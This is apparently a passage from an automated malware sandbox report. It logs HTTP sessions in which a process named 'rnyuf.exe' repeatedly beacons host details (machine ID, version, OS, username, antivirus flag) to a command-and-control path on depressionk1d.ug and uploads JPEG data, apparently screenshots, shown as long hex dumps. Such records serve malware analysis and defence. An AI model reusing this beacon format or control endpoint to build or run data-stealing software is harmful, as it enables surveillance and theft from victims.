Nov 12, 2021 22:23:11.904764891 CET	1578	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:11.904947042 CET	1579	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:11.905127048 CET	1589	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:11.905235052 CET	1591	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:11.928633928 CET	1594	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:11.928689957 CET	1600	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:11.929594994 CET	1602	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:11.929625988 CET	1608	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:11.929673910 CET	1614	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:11.929692030 CET	1617	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:11.951384068 CET	1620	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:13.000835896 CET	1688	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:12 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49874	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.063790083 CET	5697	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.095176935 CET	5698	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49875	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.229237080 CET	5698	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.256118059 CET	5699	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49876	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.282223940 CET	5699	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2379f4103dba772a786c03df93bf021f Host: depressionk1d.ug Content-Length: 111558 Cache-Control: no-cache
Nov 12, 2021 22:23:39.282376051 CET	5700	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 33 37 39 66 34 31 30 33 64 62 61 37 37 32 61 37 38 36 63 30 33 64 66 39 33 62 66 30 32 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2379f4103dba772a786c03df93bf021fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:39.282567978 CET	5710	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:39.282690048 CET	5712	OUT	Data Raw: 45 14 50 20 a2 8a 28 00 a2 8a 28 00 a2 8a 5e 68 00 e6 8a 39 a2 98 05 14 51 40 82 8a 05 06 80 0a e9 be 1e ff 00 c8 fd a3 ff 00 d7 63 ff 00 a0 9a e6 6b a6 f8 7b ff 00 23 f6 8f ff 00 5d 8f fe 82 6a 27 f0 b2 a1 f1 23 e9 6a 28 aa cd 6b 33 3b 30 bf b8 Data Ascii: EP ((^h9Q@ck{#]j'#j(k3;0PNBET$c($c(SFFtUOOA?"FtUOOA?"OA?"d7?Ed7?
Nov 12, 2021 22:23:39.304872036 CET	5715	OUT	Data Raw: 59 46 94 c7 b4 0c 67 23 83 9c fa 8c 71 9a e7 0b d7 6e 1e 75 f8 40 5b cb 53 34 f3 f9 6a 73 f3 1b 58 e4 dc 4e 3d 04 af 8f c6 b8 0d f5 a4 e0 95 ad d8 e2 c2 e2 25 3e 7e 67 7b 49 a4 4c 5e b0 35 93 9b e5 ff 00 ae 63 f9 9a d8 df 58 ba a9 cd e2 ff 00 d7 Data Ascii: YFg#qnu@[S4jsXN=%>~g{IL^5cX1ve,k?:(>p:IEjYNe\|::n}ko5?#q-]j/O>bhJ\|kW\|_A~-
Nov 12, 2021 22:23:39.304907084 CET	5718	OUT	Data Raw: 21 3a 4e ea df 8d d9 ec 61 15 58 d0 6a aa b3 bf e1 64 79 cd 2d 1c d1 cd 49 a0 94 51 45 00 7a 4f c1 4f f9 1d a2 fc 7f f4 5c 95 ef 7e 20 1a a3 41 02 e9 b1 3c 8a 5c f9 eb 14 ab 13 95 c1 c6 18 f4 19 c6 48 e7 1d 2b c1 3e 0a 7f c8 ed 17 e3 ff 00 a2 e4 Data Ascii: !:NaXjdy-IQEzOO\~ A<\H+><Ew=5kg=k*^UHTuTtvs <?iV9odc$c'qn</4R4G9bv\QD$fghn8e8HFs)":y=HhFLQ67
Nov 12, 2021 22:23:39.305159092 CET	5726	OUT	Data Raw: f4 3d 53 c3 b7 16 56 5b c9 90 a9 62 ec 99 c0 20 e0 05 27 27 20 57 81 55 86 b2 bb 59 27 8d ad 27 0f 6e bb e6 53 19 cc 4b 90 32 c3 1c 0c 91 c9 f5 15 14 90 cb 10 8c cb 13 a0 95 37 c6 59 48 de b9 23 23 d4 64 11 9f 63 5b 51 a2 a9 b6 ef 76 ff 00 af f3 Data Ascii: =SV[b '' WUY''nSK27YH##dc[Qv0b#N0n]!sIK]sES(EP(%/4Q@%%EPZ8VVYc[;h$NsZ[G7Xtm20;>{W!vWvL+#7L
Nov 12, 2021 22:23:39.305198908 CET	5729	OUT	Data Raw: 58 e2 3e 03 7a 0f df 3d 7e 92 b8 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 59 ba 10 86 95 25 67 e4 af 6f 5d 50 d5 79 cf 5a 71 ba f3 76 bf a6 8c b7 Data Ascii: X>z=~x%n#rN.HI?ZxlMHnOY%go]PyZqvZ4#m2A\|]FlV2Hm9AWF^:WWnP^W^J(_9.*h<i6EFNF@]o)Zw?k9~?S_Fx
Nov 12, 2021 22:23:39.305233002 CET	5733	OUT	Data Raw: f1 ef 89 ad 62 11 c7 aa 3b 28 e9 e6 22 b9 fc c8 26 ab df f8 c3 c4 1a 94 6d 1d ce a7 31 46 18 2a 98 40 7f ef 9c 57 9d 7f c2 4b 79 ff 00 3c a0 ff 00 be 4f f8 d3 7f e1 26 bd ff 00 9e 56 ff 00 f7 c9 ff 00 1a ef 55 b0 69 f3 28 ab fa 1e 7b a1 8c 6b 95 Data Ascii: b;("&m1F@WKy<O&VUi({kk;[o\|Dws:SXTR{"Q^IQ@C];08I5cWM[%k$J.TtRQJ15=
Nov 12, 2021 22:23:39.305998087 CET	5738	OUT	Data Raw: 94 f6 ab 86 3a 61 4a cd c0 d1 4c a4 d1 d4 6d 1d 5e 64 a8 8c 75 93 a6 69 1a 85 12 94 c6 4a ba 63 a8 9a 3a cd c0 da 35 0a 65 69 84 55 96 5a 8c ad 63 28 9a a9 10 91 49 8a 94 ad 30 8a 86 8b 4c 65 18 a5 c5 18 a9 b1 43 71 4a 05 18 a5 a2 c0 21 a6 f7 a7 Data Ascii: :aJLm^duiJc:5eiUZc(I0LeCqJ!blN;^]yO7%!d`IFJ:;##qz{{TM$}eV2N=/5(:M6CR]:EZn@6ch/:!d}"
Nov 12, 2021 22:23:39.327982903 CET	5744	OUT	Data Raw: 21 30 46 7f 86 90 da af 62 45 4f 8a 5c 52 e4 41 ed 19 58 da 1e cc 29 86 d9 c7 6c d5 ec 52 81 47 b2 41 ed 59 9f e5 b0 ea a6 8e 7d 2b 4b 14 6c 53 d5 01 a3 d9 76 0f 6a 67 52 8a be 6d e3 3f c2 45 34 da 2f 63 47 b3 61 ed 62 54 03 34 ec 54 e6 d1 bb 11 Data Ascii: !0FbEO\RAX)lRGAY}+KlSvjgRm?E4/cGabT4TH`{fV>tJ;iARP)LRMUXWZ)qLBSMRP)SbaF)RP:4(\3Fhf4V%5iAryISTCPK`5<=VOTKd=<5TOH)4
Nov 12, 2021 22:23:39.377806902 CET	5815	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.4	49877	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.384613991 CET	5815	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.412955046 CET	5816	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.4	49878	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.540863037 CET	5817	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.565828085 CET	5817	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.4	49879	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.701807976 CET	5818	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:39.727602005 CET	5818	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.4	49881	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:39.858352900 CET	5828	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:39.858475924 CET	5828	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:39.858669043 CET	5838	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:39.859452963 CET	5841	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:39.880981922 CET	5844	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:39.881079912 CET	5847	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:39.881117105 CET	5850	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:39.881145954 CET	5852	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:39.881175041 CET	5858	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:39.881206036 CET	5862	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:39.882378101 CET	5867	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:39.958003998 CET	5939	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:39 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:40.001981020 CET	5939	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.027946949 CET	5940	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
